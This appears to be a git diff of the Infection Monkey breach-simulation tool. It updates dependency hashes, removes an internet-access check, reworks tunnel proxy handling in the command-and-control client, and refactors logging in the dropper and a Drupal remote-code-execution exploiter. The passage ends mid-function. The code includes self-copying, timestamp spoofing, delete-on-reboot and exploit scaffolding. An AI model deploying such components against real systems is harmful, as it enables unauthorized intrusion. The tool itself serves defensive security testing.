"sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1",
"sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1"
],
"index": "pypi",
"version": "==0.10.9"
"version": "==0.11.0"
},
"odict": {
"hashes": [
@ -498,10 +538,10 @@
},
"policyuniverse": {
"hashes": [
"sha256:0079e4963d616b4a865d047810fe146bfc473ea2f2eb41436993af54d6a7cf10",
"sha256:2af34cfac99cb440ac6dc18995d80973be599ca70c228c3a99fff2b1f5feee90"
"sha256:184f854fc716754ff07cd9f601923d1ce30a6826617e7c2b252abebe76746b6d",
"sha256:44145447d473c37ff2776667b5e1018a00c0a493c16a0a489399521b3786a8be"
],
"version": "==1.3.7.20210615"
"version": "==1.4.0.20210819"
},
"portend": {
"hashes": [
@ -513,11 +553,11 @@
},
"prompt-toolkit": {
"hashes": [
"sha256:08360ee3a3148bdb5163621709ee322ec34fc4375099afa4bbf751e9b7b7fa4f",
"sha256:7089d8d2938043508aa9420ec18ce0922885304cddae87fb96eebca942299f88"
"sha256:6076e46efae19b1e0ca1ec003ed37a933dc94b4d20f486235d436e64771dcd5c",
"sha256:eb71d5a6b72ce6db177af4a7d4d7085b99756bf656d98ffcc4fecd36850eea6c"
],
"markers": "python_full_version >= '3.6.1'",
"version": "==3.0.19"
"markers": "python_full_version >= '3.6.2'",
"version": "==3.0.20"
},
"psutil": {
"hashes": [
@ -742,6 +782,14 @@
"index": "pypi",
"version": "==19.0.0"
},
"pypsrp": {
"hashes": [
"sha256:a2eec4d9a1f16208e79c87699129b0fe265be9b423641dbac0798d1e3f225e87",
"sha256:e4d13c84a5a150c75ec5bc8653059fa78e8421172049e0496d1df89ca24d9a6d"
],
"index": "pypi",
"version": "==0.5.0"
},
"pypykatz": {
"hashes": [
"sha256:8acd8d69f7b0ab343c593490a0837871b58b5c322ad54ada2fad0fed049349f3",
@ -750,6 +798,15 @@
"index": "pypi",
"version": "==0.3.12"
},
"pyreadline": {
"hashes": [
"sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1",
"sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e",
"sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b"
],
"markers": "python_version < '3.8' and sys_platform == 'win32'",
"version": "==2.1"
},
"pysmb": {
"hashes": [
"sha256:7aedd5e003992c6c78b41a0da4bf165359a46ea25ab2a9a1594d13f471ad7287"
@ -757,6 +814,22 @@
"index": "pypi",
"version": "==1.2.5"
},
"pyspnego": {
"hashes": [
"sha256:0d0946a8972bf8409ff79e24ca2c7aecf82e097f9d3f13571b92493869a5e08e",
"sha256:0d9916fffee507fe38d84a86c97d687408769d079c969852da5ec866564c466d",
"sha256:14a6f7e39168748fc7a6e800449aad0a7a6317036e2a8baee5e20f6044d3115a",
"sha256:1ca9f6720da219f3f7d793a975be2c54e16509b4a85b2d85b359e96a1d7bdf4d",
"sha256:1cf02e202b4c5a56e2267d781b54bd455802acf6fd7f68eb6ea92ed7610b3689",
"sha256:617c07328241e9e6b5fc7c632c03bab16d57a048641106daeede7b58fa1eae75",
"sha256:8691881997865882950c0843b62e4e153920e17496dd7ed58f610c06e49dfa8b",
"sha256:a100ab53bc552a6c1f382eea0728153ef2d023176c8fc890aaeb9bee8eff7224",
"sha256:b9fcd419ee6686a3026069b8bfa70406c821ece7d57ff4b94d4738963838b640",
"sha256:fb4b052636be4237204272b61f6e346d9eadecc55a7e9d1ad12703a9321acd20"
],
"markers": "python_version >= '3.6'",
"version": "==0.2.0"
},
"python-dateutil": {
"hashes": [
"sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb",
@ -772,20 +845,37 @@
],
"version": "==2021.1"
},
"pywin32": {
"hashes": [
"sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe",
"sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf",
"sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17",
"sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96",
"sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7",
"sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72",
"sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b",
"sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0",
"sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78",
"sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a"
],
"markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'",
"version": "==301"
},
"requests": {
"hashes": [
"sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804",
"sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e"
"sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24",
"sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7"
],
"index": "pypi",
"version": "==2.25.1"
"version": "==2.26.0"
},
"s3transfer": {
"hashes": [
"sha256:9b3752887a2880690ce628bc263d6d13a3864083aeacff4890c1c9839a5eb0bc",
"sha256:cb022f4b16551edebbb31a377d3f09600dbada7363d8c5db7976e7f47732e1b2"
"sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c",
"sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803"
],
"version": "==0.4.2"
"markers": "python_version >= '3.6'",
"version": "==0.5.0"
},
"scoutsuite": {
"git": "git://github.com/guardicode/ScoutSuite",
@ -793,54 +883,55 @@
},
"simplejson": {
"hashes": [
"sha256:034550078a11664d77bc1a8364c90bb7eef0e44c2dbb1fd0a4d92e3997088667",
"sha256:05b43d568300c1cd43f95ff4bfcff984bc658aa001be91efb3bb21df9d6288d3",
"sha256:0dd9d9c738cb008bfc0862c9b8fa6743495c03a0ed543884bf92fb7d30f8d043",
"sha256:10fc250c3edea4abc15d930d77274ddb8df4803453dde7ad50c2f5565a18a4bb",
"sha256:2862beabfb9097a745a961426fe7daf66e1714151da8bb9a0c430dde3d59c7c0",
"sha256:292c2e3f53be314cc59853bd20a35bf1f965f3bc121e007ab6fd526ed412a85d",
"sha256:2d3eab2c3fe52007d703a26f71cf649a8c771fcdd949a3ae73041ba6797cfcf8",
"sha256:2e7b57c2c146f8e4dadf84977a83f7ee50da17c8861fd7faf694d55e3274784f",
"sha256:311f5dc2af07361725033b13cc3d0351de3da8bede3397d45650784c3f21fbcf",
"sha256:344e2d920a7f27b4023c087ab539877a1e39ce8e3e90b867e0bfa97829824748",
"sha256:3fabde09af43e0cbdee407555383063f8b45bfb52c361bc5da83fcffdb4fd278",
"sha256:42b8b8dd0799f78e067e2aaae97e60d58a8f63582939af60abce4c48631a0aa4",
"sha256:4b3442249d5e3893b90cb9f72c7d6ce4d2ea144d2c0d9f75b9ae1e5460f3121a",
"sha256:55d65f9cc1b733d85ef95ab11f559cce55c7649a2160da2ac7a078534da676c8",
"sha256:5c659a0efc80aaaba57fcd878855c8534ecb655a28ac8508885c50648e6e659d",
"sha256:72d8a3ffca19a901002d6b068cf746be85747571c6a7ba12cbcf427bfb4ed971",
"sha256:75ecc79f26d99222a084fbdd1ce5aad3ac3a8bd535cd9059528452da38b68841",
"sha256:76ac9605bf2f6d9b56abf6f9da9047a8782574ad3531c82eae774947ae99cc3f",
"sha256:7d276f69bfc8c7ba6c717ba8deaf28f9d3c8450ff0aa8713f5a3280e232be16b",
"sha256:7f10f8ba9c1b1430addc7dd385fc322e221559d3ae49b812aebf57470ce8de45",
"sha256:8042040af86a494a23c189b5aa0ea9433769cc029707833f261a79c98e3375f9",
"sha256:813846738277729d7db71b82176204abc7fdae2f566e2d9fcf874f9b6472e3e6",
"sha256:845a14f6deb124a3bcb98a62def067a67462a000e0508f256f9c18eff5847efc",
"sha256:869a183c8e44bc03be1b2bbcc9ec4338e37fa8557fc506bf6115887c1d3bb956",
"sha256:8acf76443cfb5c949b6e781c154278c059b09ac717d2757a830c869ba000cf8d",
"sha256:8f713ea65958ef40049b6c45c40c206ab363db9591ff5a49d89b448933fa5746",
"sha256:934115642c8ba9659b402c8bdbdedb48651fb94b576e3b3efd1ccb079609b04a",
"sha256:9551f23e09300a9a528f7af20e35c9f79686d46d646152a0c8fc41d2d074d9b0",
"sha256:9a2b7543559f8a1c9ed72724b549d8cc3515da7daf3e79813a15bdc4a769de25",
"sha256:a55c76254d7cf8d4494bc508e7abb993a82a192d0db4552421e5139235604625",
"sha256:ad8f41c2357b73bc9e8606d2fa226233bf4d55d85a8982ecdfd55823a6959995",
"sha256:af4868da7dd53296cd7630687161d53a7ebe2e63814234631445697bd7c29f46",
"sha256:afebfc3dd3520d37056f641969ce320b071bc7a0800639c71877b90d053e087f",
"sha256:b59aa298137ca74a744c1e6e22cfc0bf9dca3a2f41f51bc92eb05695155d905a",
"sha256:bc00d1210567a4cdd215ac6e17dc00cb9893ee521cee701adfd0fa43f7c73139",
"sha256:c1cb29b1fced01f97e6d5631c3edc2dadb424d1f4421dad079cb13fc97acb42f",
"sha256:c94dc64b1a389a416fc4218cd4799aa3756f25940cae33530a4f7f2f54f166da",
"sha256:ceaa28a5bce8a46a130cd223e895080e258a88d51bf6e8de2fc54a6ef7e38c34",
"sha256:cff6453e25204d3369c47b97dd34783ca820611bd334779d22192da23784194b",
"sha256:d0b64409df09edb4c365d95004775c988259efe9be39697d7315c42b7a5e7e94",
"sha256:d4813b30cb62d3b63ccc60dd12f2121780c7a3068db692daeb90f989877aaf04",
"sha256:da3c55cdc66cfc3fffb607db49a42448785ea2732f055ac1549b69dcb392663b",
"sha256:e058c7656c44fb494a11443191e381355388443d543f6fc1a245d5d238544396",
"sha256:fed0f22bf1313ff79c7fc318f7199d6c2f96d4de3234b2f12a1eab350e597c06",
"sha256:ffd4e4877a78c84d693e491b223385e0271278f5f4e1476a4962dca6824ecfeb"
"sha256:065230b9659ac38c8021fa512802562d122afb0cf8d4b89e257014dcddb5730a",
"sha256:07707ba69324eaf58f0c6f59d289acc3e0ed9ec528dae5b0d4219c0d6da27dc5",
"sha256:10defa88dd10a0a4763f16c1b5504e96ae6dc68953cfe5fc572b4a8fcaf9409b",
"sha256:140eb58809f24d843736edb8080b220417e22c82ac07a3dfa473f57e78216b5f",
"sha256:188f2c78a8ac1eb7a70a4b2b7b9ad11f52181044957bf981fb3e399c719e30ee",
"sha256:1c2688365743b0f190392e674af5e313ebe9d621813d15f9332e874b7c1f2d04",
"sha256:24e413bd845bd17d4d72063d64e053898543fb7abc81afeae13e5c43cef9c171",
"sha256:2b59acd09b02da97728d0bae8ff48876d7efcbbb08e569c55e2d0c2e018324f5",
"sha256:2df15814529a4625ea6f7b354a083609b3944c269b954ece0d0e7455872e1b2a",
"sha256:352c11582aa1e49a2f0f7f7d8fd5ec5311da890d1354287e83c63ab6af857cf5",
"sha256:36b08b886027eac67e7a0e822e3a5bf419429efad7612e69501669d6252a21f2",
"sha256:376023f51edaf7290332dacfb055bc00ce864cb013c0338d0dea48731f37e42f",
"sha256:3ba82f8b421886f4a2311c43fb98faaf36c581976192349fef2a89ed0fcdbdef",
"sha256:3d72aa9e73134dacd049a2d6f9bd219f7be9c004d03d52395831611d66cedb71",
"sha256:40ece8fa730d1a947bff792bcc7824bd02d3ce6105432798e9a04a360c8c07b0",
"sha256:417b7e119d66085dc45bdd563dcb2c575ee10a3b1c492dd3502a029448d4be1c",
"sha256:42b7c7264229860fe879be961877f7466d9f7173bd6427b3ba98144a031d49fb",
"sha256:457d9cfe7ece1571770381edccdad7fc255b12cd7b5b813219441146d4f47595",
"sha256:4a6943816e10028eeed512ea03be52b54ea83108b408d1049b999f58a760089b",
"sha256:5b94df70bd34a3b946c0eb272022fb0f8a9eb27cad76e7f313fedbee2ebe4317",
"sha256:5f5051a13e7d53430a990604b532c9124253c5f348857e2d5106d45fc8533860",
"sha256:5f7f53b1edd4b23fb112b89208377480c0bcee45d43a03ffacf30f3290e0ed85",
"sha256:5fe8c6dcb9e6f7066bdc07d3c410a2fca78c0d0b4e0e72510ffd20a60a20eb8e",
"sha256:71a54815ec0212b0cba23adc1b2a731bdd2df7b9e4432718b2ed20e8aaf7f01a",
"sha256:7332f7b06d42153255f7bfeb10266141c08d48cc1a022a35473c95238ff2aebc",
"sha256:78c6f0ed72b440ebe1892d273c1e5f91e55e6861bea611d3b904e673152a7a4c",
"sha256:7c9b30a2524ae6983b708f12741a31fbc2fb8d6fecd0b6c8584a62fd59f59e09",
"sha256:86fcffc06f1125cb443e2bed812805739d64ceb78597ac3c1b2d439471a09717",
"sha256:87572213965fd8a4fb7a97f837221e01d8fddcfb558363c671b8aa93477fb6a2",
"sha256:8e595de17178dd3bbeb2c5b8ea97536341c63b7278639cb8ee2681a84c0ef037",
"sha256:917f01db71d5e720b731effa3ff4a2c702a1b6dacad9bcdc580d86a018dfc3ca",
"sha256:91cfb43fb91ff6d1e4258be04eee84b51a4ef40a28d899679b9ea2556322fb50",
"sha256:aa86cfdeb118795875855589934013e32895715ec2d9e8eb7a59be3e7e07a7e1",
"sha256:ade09aa3c284d11f39640aebdcbb748e1996f0c60504f8c4a0c5a9fec821e67a",
"sha256:b2a5688606dffbe95e1347a05b77eb90489fe337edde888e23bbb7fd81b0d93b",
"sha256:b92fbc2bc549c5045c8233d954f3260ccf99e0f3ec9edfd2372b74b350917752",
"sha256:c2d5334d935af711f6d6dfeec2d34e071cdf73ec0df8e8bd35ac435b26d8da97",
"sha256:cb0afc3bad49eb89a579103616574a54b523856d20fc539a4f7a513a0a8ba4b2",
"sha256:ce66f730031b9b3683b2fc6ad4160a18db86557c004c3d490a29bf8d450d7ab9",
"sha256:e29b9cea4216ec130df85d8c36efb9985fda1c9039e4706fb30e0fb6a67602ff",
"sha256:e2cc4b68e59319e3de778325e34fbff487bfdb2225530e89995402989898d681",
"sha256:e90d2e219c3dce1500dda95f5b893c293c4d53c4e330c968afbd4e7a90ff4a5b",
"sha256:f13c48cc4363829bdfecc0c181b6ddf28008931de54908a492dc8ccd0066cd60",
"sha256:f550730d18edec4ff9d4252784b62adfe885d4542946b6d5a54c8a6521b56afd",
"sha256:fa843ee0d34c7193f5a816e79df8142faff851549cab31e84b526f04878ac778",
"sha256:fe1c33f78d2060719d52ea9459d97d7ae3a5b707ec02548575c4fbed1d1d345b"
],
"index": "pypi",
"version": "==3.17.2"
"version": "==3.17.5"
},
"six": {
"hashes": [
@ -858,36 +949,36 @@
},
"tempora": {
"hashes": [
"sha256:10fdc29bf85fa0df39a230a225bb6d093982fc0825b648a414bbc06bddd79909",
"sha256:d44aec6278b27d34a47471ead01b710351076eb5d61181551158f1613baf6bc8"
"sha256:c54da0f05405f04eb67abbb1dff4448fd91428b58cb00f0f645ea36f6a927950",
"sha256:ef2d8bb35902d5ea7da95df33456685a6d305b97f311725c12e55c13d85c0938"
],
"markers": "python_version >= '3.6'",
"version": "==4.0.2"
"version": "==4.1.1"
},
"tqdm": {
"hashes": [
"sha256:24be966933e942be5f074c29755a95b315c69a91f839a29139bf26ffffe2d3fd",
"sha256:aa0c29f03f298951ac6318f7c8ce584e48fa22ec26396e6411e43d038243bdb2"
"sha256:8dd278a422499cd6b727e6ae4061c40b48fce8b76d1ccbf5d34fca9b7f925b0c",
"sha256:d359de7217506c9851b7869f3708d8ee53ed70a1b8edbba4dbcb47442592920d"
],
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
"version": "==4.61.1"
"version": "==4.62.3"
},
"typing-extensions": {
"hashes": [
"sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497",
"sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342",
"sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"
"sha256:49f75d16ff11f1cd258e1b988ccff82a3ca5570217d7ad8c5f48205dd99a677e",
"sha256:d8226d10bc02a29bcc81df19a26e56a9647f8b0a6d4a83924139f4a8b01f17b7",
"sha256:f1d25edafde516b146ecd0613dabcc61409817af4766fbbcfb8d1ad4ec441a34"
],
"markers": "python_version < '3.8'",
"version": "==3.10.0.0"
"index": "pypi",
"version": "==3.10.0.2"
},
"urllib3": {
"hashes": [
"sha256:2f3db8b19923a873b3e5256dc9c2dedfa883e33d87c690d9c7913e1f40673cdc",
"sha256:87716c2d2a7121198ebcb7ce7cccf6ce5e9ba539041cfbaeecfb641dc0bf6acc"
"sha256:753a0374df26658f99d826cfe40394a686d05985786d946fbe4165b5148f5a7c",
"sha256:a7acd0977125325f516bda9735fa7142b909a8d01e8b2e4c8108d0984e6e0098"
],
"index": "pypi",
"version": "==1.25.8"
"version": "==1.26.5"
},
"wcwidth": {
"hashes": [
@ -917,7 +1008,7 @@
"sha256:a2ad9c0f6d70f6e0e0d1f54b8582054c62d8a09f346b5ccaf55da68628ca10e1",
"sha256:a64624a25fc2d3663a2c5376c5291f3c7531e9c8051571de9ca9db8bf25746c2"
],
"markers": "python_version >= '3.6'",
"markers": "platform_system == 'Windows'",
"version": "==0.0.9"
},
"winsys-3.x": {
@ -932,6 +1023,7 @@
"sha256:1d6b085e5c445141c475476000b661f60fff1aaa19f76bf82b7abb92e0ff4942",
"sha256:b6a6be5711b1b6c8d55bda7a8befd75c48c12b770b9d227d31c1737dbf0d40a6"
],
"index": "pypi",
"markers": "sys_platform == 'win32'",
"version": "==1.5.1"
},
@ -944,11 +1036,11 @@
},
"zipp": {
"hashes": [
"sha256:3607921face881ba3e026887d8150cca609d517579abe052ac81fc5aeffdbd76",
"sha256:51cb66cc54621609dd593d1787f286ee42a5c0adbb4b29abea5a63edc3e03098"
"sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3",
"sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4"
],
"markers": "python_version >= '3.6'",
"version": "==3.4.1"
"version": "==3.5.0"
}
},
"develop": {}

View File

@ -145,9 +145,6 @@ class Configuration(object):
# sets whether or not to retry failed hosts on next scan
retry_failed_explotation = True
# addresses of internet servers to ping and check if the monkey has internet acccess.
internet_services = ["updates.infectionmonkey.com", "www.google.com"]
keep_tunnel_open_time = 60
# Monkey files directory name

View File

@ -19,13 +19,14 @@ from common.common_consts.timeouts import (
SHORT_REQUEST_TIMEOUT,
)
from infection_monkey.config import GUID, WormConfiguration
from infection_monkey.network.info import check_internet_access, local_ips
from infection_monkey.network.info import local_ips
from infection_monkey.transport.http import HTTPConnectProxy
from infection_monkey.transport.tcp import TcpProxy
from infection_monkey.utils.environment import is_windows_os
requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
@ -40,23 +41,19 @@ class ControlClient(object):
proxies = {}
@staticmethod
def wakeup(parent=None, has_internet_access=None):
def wakeup(parent=None):
if parent:
LOG.debug("parent: %s" % (parent,))
logger.debug("parent: %s" % (parent,))
hostname = gethostname()
if not parent:
parent = GUID
if has_internet_access is None:
has_internet_access = check_internet_access(WormConfiguration.internet_services)
monkey = {
"guid": GUID,
"hostname": hostname,
"ip_addresses": local_ips(),
"description": " ".join(platform.uname()),
"internet_access": has_internet_access,
"config": WormConfiguration.as_dict(),
"parent": parent,
"launch_time": str(datetime.now().strftime(DEFAULT_TIME_FORMAT)),
@ -76,12 +73,12 @@ class ControlClient(object):
@staticmethod
def find_server(default_tunnel=None):
LOG.debug(
logger.debug(
"Trying to wake up with Monkey Island servers list: %r"
% WormConfiguration.command_servers
)
if default_tunnel:
LOG.debug("default_tunnel: %s" % (default_tunnel,))
logger.debug("default_tunnel: %s" % (default_tunnel,))
current_server = ""
@ -92,7 +89,7 @@ class ControlClient(object):
debug_message = "Trying to connect to server: %s" % server
if ControlClient.proxies:
debug_message += " through proxies: %s" % ControlClient.proxies
LOG.debug(debug_message)
logger.debug(debug_message)
requests.get( # noqa: DUO123
f"https://{server}/api?action=is-up",
verify=False,
@ -104,7 +101,7 @@ class ControlClient(object):
except ConnectionError as exc:
current_server = ""
LOG.warning("Error connecting to control server %s: %s", server, exc)
logger.warning("Error connecting to control server %s: %s", server, exc)
if current_server:
return True
@ -112,17 +109,35 @@ class ControlClient(object):
if ControlClient.proxies:
return False
else:
LOG.info("Starting tunnel lookup...")
logger.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find:
proxy_address, proxy_port = proxy_find
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
ControlClient.proxies["https"] = "https://%s:%s" % (proxy_address, proxy_port)
ControlClient.set_proxies(proxy_find)
return ControlClient.find_server()
else:
LOG.info("No tunnel found")
logger.info("No tunnel found")
return False
@staticmethod
def set_proxies(proxy_find):
"""
Note: The proxy schema changes between different versions of requests and urllib3,
which causes the machine to not open a tunnel back.
If we get "ValueError: check_hostname requires server_hostname" or
"Proxy URL had not schema, should start with http:// or https://" errors,
the proxy schema needs to be changed.
Keep this in mind when upgrading to newer python version or when urllib3 and
requests are updated there is possibility that the proxy schema is changed.
https://github.com/psf/requests/issues/5297
https://github.com/psf/requests/issues/5855
"""
proxy_address, proxy_port = proxy_find
logger.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
if is_windows_os():
ControlClient.proxies["https"] = f"http://{proxy_address}:{proxy_port}"
else:
ControlClient.proxies["https"] = f"{proxy_address}:{proxy_port}"
@staticmethod
def keepalive():
if not WormConfiguration.current_server:
@ -140,7 +155,7 @@ class ControlClient(object):
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
return {}
@ -148,7 +163,7 @@ class ControlClient(object):
@staticmethod
def send_telemetry(telem_category, json_data: str):
if not WormConfiguration.current_server:
LOG.error(
logger.error(
"Trying to send %s telemetry before current server is established, aborting."
% telem_category
)
@ -164,7 +179,7 @@ class ControlClient(object):
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
@ -183,7 +198,7 @@ class ControlClient(object):
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
@ -200,7 +215,7 @@ class ControlClient(object):
)
except Exception as exc:
LOG.warning(
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
return
@ -210,10 +225,10 @@ class ControlClient(object):
formatted_config = pformat(
WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict())
)
LOG.info(f"New configuration was loaded from server:\n{formatted_config}")
logger.info(f"New configuration was loaded from server:\n{formatted_config}")
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error(
logger.error(
"Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.current_server,
reply._content,
@ -238,7 +253,7 @@ class ControlClient(object):
timeout=MEDIUM_REQUEST_TIMEOUT,
)
except Exception as exc:
LOG.warning(
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
return {}
@ -307,7 +322,7 @@ class ControlClient(object):
return dest_file
except Exception as exc:
LOG.warning(
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)
@ -339,7 +354,7 @@ class ControlClient(object):
return None, None
except Exception as exc:
LOG.warning(
logger.warning(
"Error connecting to control server %s: %s", WormConfiguration.current_server, exc
)

View File

@ -33,7 +33,7 @@ except NameError:
WindowsError = IOError
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
MOVEFILE_DELAY_UNTIL_REBOOT = 4
@ -56,11 +56,11 @@ class MonkeyDrops(object):
}
def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
logger.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
if self._config["destination_path"] is None:
LOG.error("No destination path specified")
logger.error("No destination path specified")
return False
# we copy/move only in case path is different
@ -77,7 +77,7 @@ class MonkeyDrops(object):
try:
shutil.move(self._config["source_path"], self._config["destination_path"])
LOG.info(
logger.info(
"Moved source file '%s' into '%s'",
self._config["source_path"],
self._config["destination_path"],
@ -85,7 +85,7 @@ class MonkeyDrops(object):
file_moved = True
except (WindowsError, IOError, OSError) as exc:
LOG.debug(
logger.debug(
"Error moving source file '%s' into '%s': %s",
self._config["source_path"],
self._config["destination_path"],
@ -97,13 +97,13 @@ class MonkeyDrops(object):
try:
shutil.copy(self._config["source_path"], self._config["destination_path"])
LOG.info(
logger.info(
"Copied source file '%s' into '%s'",
self._config["source_path"],
self._config["destination_path"],
)
except (WindowsError, IOError, OSError) as exc:
LOG.error(
logger.error(
"Error copying source file '%s' into '%s': %s",
self._config["source_path"],
self._config["destination_path"],
@ -122,7 +122,7 @@ class MonkeyDrops(object):
try:
ref_stat = os.stat(dropper_date_reference_path)
except OSError:
LOG.warning(
logger.warning(
"Cannot set reference date using '%s', file not found",
dropper_date_reference_path,
)
@ -132,7 +132,7 @@ class MonkeyDrops(object):
self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)
)
except OSError:
LOG.warning("Cannot set reference date to destination file")
logger.warning("Cannot set reference date to destination file")
monkey_options = build_monkey_commandline_explicitly(
parent=self.opts.parent,
@ -173,7 +173,7 @@ class MonkeyDrops(object):
creationflags=DETACHED_PROCESS,
)
LOG.info(
logger.info(
"Executed monkey process (PID=%d) with command line: %s",
monkey_process.pid,
" ".join(monkey_commandline),
@ -181,10 +181,10 @@ class MonkeyDrops(object):
time.sleep(3)
if monkey_process.poll() is not None:
LOG.warning("Seems like monkey died too soon")
logger.warning("Seems like monkey died too soon")
def cleanup(self):
LOG.info("Cleaning up the dropper")
logger.info("Cleaning up the dropper")
try:
if (
@ -197,28 +197,28 @@ class MonkeyDrops(object):
try:
os.remove(self._config["source_path"])
except Exception as exc:
LOG.debug(
logger.debug(
"Error removing source file '%s': %s", self._config["source_path"], exc
)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config["source_path"])
dropper_source_path_ctypes = c_char_p(self._config["source_path"].encode())
if 0 == ctypes.windll.kernel32.MoveFileExA(
dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT
):
LOG.debug(
logger.debug(
"Error marking source file '%s' for deletion on next boot (error "
"%d)",
self._config["source_path"],
ctypes.windll.kernel32.GetLastError(),
)
else:
LOG.debug(
logger.debug(
"Dropper source file '%s' is marked for deletion on next boot",
self._config["source_path"],
)
T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
LOG.info("Dropper cleanup complete")
logger.info("Dropper cleanup complete")
except AttributeError:
LOG.error("Invalid configuration options. Failing")
logger.error("Invalid configuration options. Failing")

View File

@ -2,10 +2,6 @@
"command_servers": [
"192.0.2.0:5000"
],
"internet_services": [
"monkey.guardicore.com",
"www.google.com"
],
"keep_tunnel_open_time": 60,
"subnet_scan_list": [

View File

@ -0,0 +1,3 @@
# Constants used to refer to windows architectures
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"

View File

@ -15,7 +15,7 @@ from common.network.network_utils import remove_port
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import ID_STRING
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
class DrupalExploiter(WebRCE):
@ -53,7 +53,7 @@ class DrupalExploiter(WebRCE):
try:
node_ids = find_exploitbale_article_ids(url)
if node_ids is None:
LOG.info("Could not find a Drupal node to attack")
logger.info("Could not find a Drupal node to attack")
continue
for node_id in node_ids:
node_url = urljoin(url, str(node_id))
@ -65,9 +65,9 @@ class DrupalExploiter(WebRCE):
if stop_checking:
break
except Exception as e: # We still don't know which errors to expect
LOG.error(f"url {url} failed in exploitability check: {e}")
logger.error(f"url {url} failed in exploitability check: {e}")
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found")
logger.info("No vulnerable urls found")
def check_if_exploitable(self, url):
"""
@ -89,7 +89,7 @@ class DrupalExploiter(WebRCE):
)
if is_response_cached(response):
LOG.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
logger.info(f"Checking if node {url} is vuln returned cache HIT, ignoring")
return False
return "INVALID_VALUE does not correspond to an entity on this site" in response.text
@ -109,10 +109,10 @@ class DrupalExploiter(WebRCE):
)
if is_response_cached(r):
LOG.info(f"Exploiting {url} returned cache HIT, may have failed")
logger.info(f"Exploiting {url} returned cache HIT, may have failed")
if ID_STRING not in r.text:
LOG.warning("Command execution _may_ have failed")
logger.warning("Command execution _may_ have failed")
result = r.text.split(ID_STRING)[-1]
return result
@ -137,7 +137,7 @@ class DrupalExploiter(WebRCE):
num_available_urls = len(self.vulnerable_urls)
result = num_available_urls >= num_urls_needed_for_full_exploit
if not result:
LOG.info(
logger.info(
f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a "
f"Drupal server "
f"but only {num_available_urls} found"
@ -160,7 +160,7 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100
)
if response.status_code == 200:
if is_response_cached(response):
